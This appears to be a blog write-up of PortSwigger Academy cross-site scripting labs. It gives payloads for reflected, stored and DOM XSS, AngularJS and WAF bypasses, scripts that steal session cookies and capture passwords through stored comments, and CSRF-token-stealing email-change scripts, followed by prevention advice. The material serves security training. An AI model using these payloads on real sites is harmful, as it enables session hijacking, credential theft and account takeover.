Post

XSS - Exploiting cross-site scripting

XSS - Exploiting cross-site scripting

xss

XSS Intro

XSS is a type of injection attack that allows attackers to execute arbitrary JavaScript in a user’s browser, leading to session hijacking, phishing, defacement, or redirection to malicious sites.

Stored XSS (Persistent)

  • Malicious script is saved on the server (e.g., in a comment or profile field).
  • Triggered every time another user loads that data.

Reflected XSS

  • Script is embedded in a URL or request.
  • Reflected back in the response (e.g., in search results or error messages).

DOM-Based XSS

  • Occurs entirely on the client side.
  • JavaScript modifies the page using unsafe data from location, document, etc.

XSS Apprentice practice in Portswigger Labs

Lab: Reflected XSS into HTML context with nothing encoded

  • In a search bar type something easy to find when you do a view page source/inspect for a page and try to find if it is reflected somewhere, if yes - you could just try to escape some symbols and paste something like:
1
"><script>alert('Hello friend')</script>
  • Or alternatives:
1
2
3
"><script>prompt('Hello friend')</script>
"><script>prompt(document.domain)</script>
"><script>prompt(document.cookie)</script>

Lab: Stored XSS into HTML context with nothing encoded

  • Saving comments with XSS will do the thing:
1
"><script>alert('Hello friend')</script>

Lab: DOM XSS in document.write sink using source location.search

  • When you are using search bar pay attention that your check word appears in some image tag:
1
<img src="/resources/images/tracker.gif?searchTerms=FUZZ">
  • So you could try to escape it:
1
"><img src=x onerror=alert('Hello friend')>
  • Alternatively:
1
"><svg onload=alert('Hello friend')>

Lab: DOM XSS in innerHTML sink using source location.search

  • When you are using search bar pay attention that your check word appears used by JS:
1
2
3
4
5
6
7
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
  • So as we can see it just injects what we provide into some span element:
1
<span id="searchMessage">FUZZ</span>
  • Lets try with the img thing:
1
<img src=x onerror=alert('Hello friend')>
  • Or svg thing:
1
<svg onload=alert('Hello friend')>
  • Both will work!

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

  • Try to inspect all the links and check what are they used.
  • For example the link <a id="backLink">Back</a> also used here:
1
2
3
4
5
<script>
    $(function() {
        $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
    });
</script>
  • And we can notice that there is a selector $ which just grab a #backlink element which is selected from URL by element returnPath so maybe we could manipulate this URL element and instead of the / we could try to use something like this:
1
javascript:alert('Hello friend')
  • To actually see an alert box just click Back button

DOM XSS in jQuery selector sink using a hashchange event

  • # symbol could be used as a bookmark for paginated pages, so let’s see what is happening underthehood when # found …

  • Using view page source inspecting page and see this:

1
2
3
4
5
6
<script>
    $(window).on('hashchange', function(){
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>
  • So if our url looks like this: view-source:https://0a9800b904851b908190070300000006.web-security-academy.net/#Passwords we could check in console that window.location.hash will give us a #Passwords

  • Understanding that source (src) is initiating an http request, let’s provide the exploit:

1
<iframe src="https://PUT_YOUR_LAB_ID_HERE.web-security-academy.net#" onload="this.src+='<img src=x onerror=print()>'">

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

  • Here we see that word is reflected inside the h1 tags and second one in the input field encoded (if we try regular <img src=x onerror=alert()>) it will gives us nothing
  • So we could try to escape encoding by searching this:
1
" autofocus onfocus=alert('Hello friend') x="
  • Or one of these:
1
<a href="#" onclick="alert('Hello friend')">Click</a>
1
"onmouseover="alert('Hello friend')

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

  • We should left a comment so clicking a username who lived a comment will trigger an alert box, lets add some comment and inspect a page. In the comment section we will see something like this:
1
<a id="author" href="https://www.random.com">friend</a>
  • Currently https://www.random.com used as a site and if friend (provided username) clicked we will be redirected there so basically what we need to do is use this payload in site section:
1
javascript:alert('Hello friend')

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

  • As it is written - to solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
  • Let’s search FUZZ and inspect the page we will find 3 occurances and one of them like this:
1
2
3
4
<script>
    var searchTerms = 'FUZZ';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
  • So what we need to search here to escape from the javascript:
1
';alert('Hello friend');//
  • Alternatively one of these:
1
2
'-alert("Hello friend")-
'; alert("Hello friend"); var new_var='test

XSS Practitioner practice in Portswigger Labs

Lab: DOM XSS in document.write sink using source location.search inside a select element

  • Let’s investigate a page and click on any product, notice that url became something like this:
1
https://PUT_YOUR_LAB_ID_HERE.web-security-academy.net/product?productId=1
  • Let’s inspect a page - there you can find this:
1
2
3
4
5
<select name="storeId">
    <option>London</option>
    <option>Paris</option>
    <option>Milan</option>
</select>
  • So even we don’t have a storeId parameter in our url but it is existing in the DOM, so we could try to escape option and use something like this to use it:
1
&storeId=</option><script>alert('Hello+friend')</script>

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • As written in a lab description - here we have Angular (which scans the contents of HTML nodes containing the ng-app attribute)
  • Let’s check what will be reflected on a screen if we try to search { { 1+1 } } -> instead of { { 1+1 } } we have 2 (NB! double curly brackets need to be written without a space between them here I add space just to escape content blocking)
  • So what we actually can try here in a searchbar:
1
{ { ('alert("Hello friend")')() } }
  • Alternatively:
1
2
{ { $eval.constructor('alert("Hello friend")')() } }
{ { $on.constructor('alert("Hello friend")')() } }

Lab: Reflected DOM XSS

  • Let’s investigate how search functionality works here - using Burp (Target-> Site map-> search-result) or Network in the inspect dev tools checkout Request/Response () and pay attention what we get from search:

PING:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /search-results?search=koffin HTTP/2
Host: YOUR_LAB_ID_HERE.web-security-academy.net
Cookie: session=Klc0vOVkwhSIMGBA4dzuak023BHxieKq
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=koffin
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

PONG:

1
2
3
4
5
6
7
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 347

{"results":[{"id":2,"title":"Say It With Flowers - Or Maybe Not","image":"blog/posts/49.jpg","summary":"Ahhhh, St. Valentine's Day. What better way to let that special someone know you love them than giving them a beautiful bouquet of flowers. It's OK for those who know you feel that way, but be careful of going over..."}],
"searchTerm":"koffin"}
  • So what we actually can try here - is escaping " and } so provide this payload in a searchbar:
1
\"}; alert('Hello friend')//
  • Alternatively:
1
\"}- alert('Hello friend')//

Lab: Stored DOM XSS

  • Here we have a hint vulnerability in the blog comment functionality so we know what needs to be compromized, lets check a JS files to understand the logic. One of the first things that caught an eye in a loadCommentsWithVulnerableEscapeHtml.js the escapeHTML function as I came from python, I thought the logic is ok till I checked how replace worked in JS (instead of whole replacement it will only replace first occurances):
1
2
3
function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}
  • So after you understand that, the solution is pretty obvious, comment should looks something like this:
1
<><img src=x onerror=alert(document.domain)>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

  • In this lab WAF is blocking a lot of things so we will need to brute force and check what is not blocked. Let’s use a Portswigger cheatsheet and step by step brute force it via intruder (first tags and after that attributes):
1
<body onresize=print()>
  • But because we need to do it so user will do no extra moves the payload we could provide via exploit server needs to look something like this:
1
<iframe src="https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=%3Cbody+onresize%3Dprint%28%29%3E"+onload=this.style.width='50px'>

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

  • Since we have a hint that only custom tags allowed - we could create a custom tag and since we could use onfocus payload will looks like this (and to execute XSS we need to add #x so page will focus and trigger the allert):
1
<customtag+onfocus=alert(document.cookie)+id='x'+tabindex=1>
  • So our exploit server could have a payload like this:
1
2
3
<script>
    location="https://YOUR_LAB_ID_HERE.web-security-academy.net/?search=<customtag+onfocus=alert%28document.cookie%29+id=%27x%27+tabindex=1>#x"
</script>

Lab: Reflected XSS with some SVG markup allowed

  • We need the same approach with intruder so step by step we could found proper payload
1
<svg><animatetransform onbegin=alert(document.domain)>
  • Let’s view a page source and find a canonical link. So canonical link in the header, let’s add ?coffee parameter to url and check the head:
1
2
3
4
5
<head>
    <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
    <link href=/resources/css/labsBlog.css rel=stylesheet>
    <link rel="canonical" href='https://YOUR_LAB_ID_HERE.web-security-academy.net/?coffee'/>
<title>
  • In this lab we can abuse URL link in the chrome. So we can use access keys, since we know user will use X key and we could escape the href using this payload:
1
https://YOUR_LAB_ID_HERE.web-security-academy.net/?'accesskey='x'onclick='alert(1)
  • So our head will look like this and just clicking X will trigger XSS
1
2
3
4
5
<head>
    <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
    <link href=/resources/css/labsBlog.css rel=stylesheet>
    <link rel="canonical" href='https://YOUR_LAB_ID_HERE.web-security-academy.net/?' accesskey='x' onclick='alert(document.domain)'/>
<title>

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

  • First things first - let’s find where it is reflected - search for FUZZ (there 3 places with reflection, but because of the lab name this one is the most interesting):
1
2
3
4
<script>
    var searchTerms = 'FUZZ';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
1
</script><script> alert(document.domain)</script>

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

  • This one is pretty simillar:
1
coffee\'; alert(document.domain)//

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

  • Ok so we know that XSS is stored so first thing - find where it is stored (and in the lab we have a hint - it is somewhere in comment section), so pushing a couple of payloads gives us an understanding how to escape from a string/link:
1
http://foo.com/?&#x27-alert(document.domain)-&#x27
  • Alternatively:
1
http://foo.com/?&apos;-alert(document.domain)-&apos;

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

  • Sometimes you cannot escape something, but you are able to run code from the inside:
1
${alert(document.domain)}

Lab: Exploiting cross-site scripting to steal cookies

  • Since I have no Burp premium with avalable Collaborator - the solution is to post a comment which will force others to post their comments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
window.addEventListener('DOMContentLoaded', function (){

var data = new FormData();

data.append('csrf', document.getElementsByName('csrf')[0].value);
data.append('postId', 3);
data.append('comment', document.cookie);
data.append('email', 'test@test.tst');
data.append('name', 'tester');
data.append('website', 'http://foo.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>

Lab: Exploiting cross-site scripting to capture passwords

  • Here we will prepare input form and create a function triggered by filling this form and post a comment with credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<input name=username id=username>
<input type=password name=password onchange=fill()>

<script>
function fill () {

var data = new FormData();
var user = document.getElementsByName('username')[0].value;
var pass = document.getElementsByName('password')[0].value;

data.append('csrf', document.getElementsByName('csrf')[0].value);
data.append('postId', 3);
data.append('comment', `${user}:${pass}`);
data.append('email', 'test@test.tst');
data.append('name', 'tester');
data.append('website', 'http://foo.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>

Lab: Exploiting XSS to bypass CSRF defenses

  • Pay attention that CSRF token is visible from the page source (hidden field)
1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&hello@friend.com')
};
</script>

or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
fetch('/my-account')
  .then(response => response.text())
  .then(html => {
    var token = document.getElementsByName("csrf")[0].value;
    return fetch('/my-account/change-email', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: `csrf=${token}&email=hello@friend.com`
    });
  })
</script>

or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
window.addEventListener('DOMContentLoaded', function (){
var data = new FormData();

data.append('csrf', document.getElementsByName("csrf")[0].value)
data.append('email', 'test@test.tst');

fetch('/my-account/change-email', {
    method: 'POST',
    mode: 'no-cors',
    body: data
    });
});
</script>

How to Prevent XSS

Output Encoding

  • Encode untrusted data before inserting it into HTML, JS, or attributes.
  • Use libraries:
    • Python (Jinja2 autoescapes by default)
    • JavaScript: textContent or innerText instead of innerHTML
    • OWASP Java Encoder Context Encode As HTML Element <, >, " HTML Attribute ", ' JavaScript Escape strings carefully URL Params Use encodeURIComponent()

Input Validation (as defense-in-depth)

  • Only allow safe, expected input.
  • E.g., name fields shouldn’t accept

Use Content Security Policy (CSP)

  • Helps block inline scripts and external scripts from untrusted sources.

Content-Security-Policy: default-src 'self'; script-src 'self'

HTTPOnly and Secure Cookies

  • Prevents cookie theft via document.cookie.

Set-Cookie: session=abc123; HttpOnly; Secure

Avoid Dangerous Functions

  • Avoid innerHTML, document.write, eval(), and setTimeout(“…”).

Sanitize User Input for Rich Content

  • If users can submit HTML (e.g., comments), sanitize using: Python: bleach, Node.js: DOMPurify, PHP: HTML Purifier
This post is licensed under CC BY 4.0 by the author.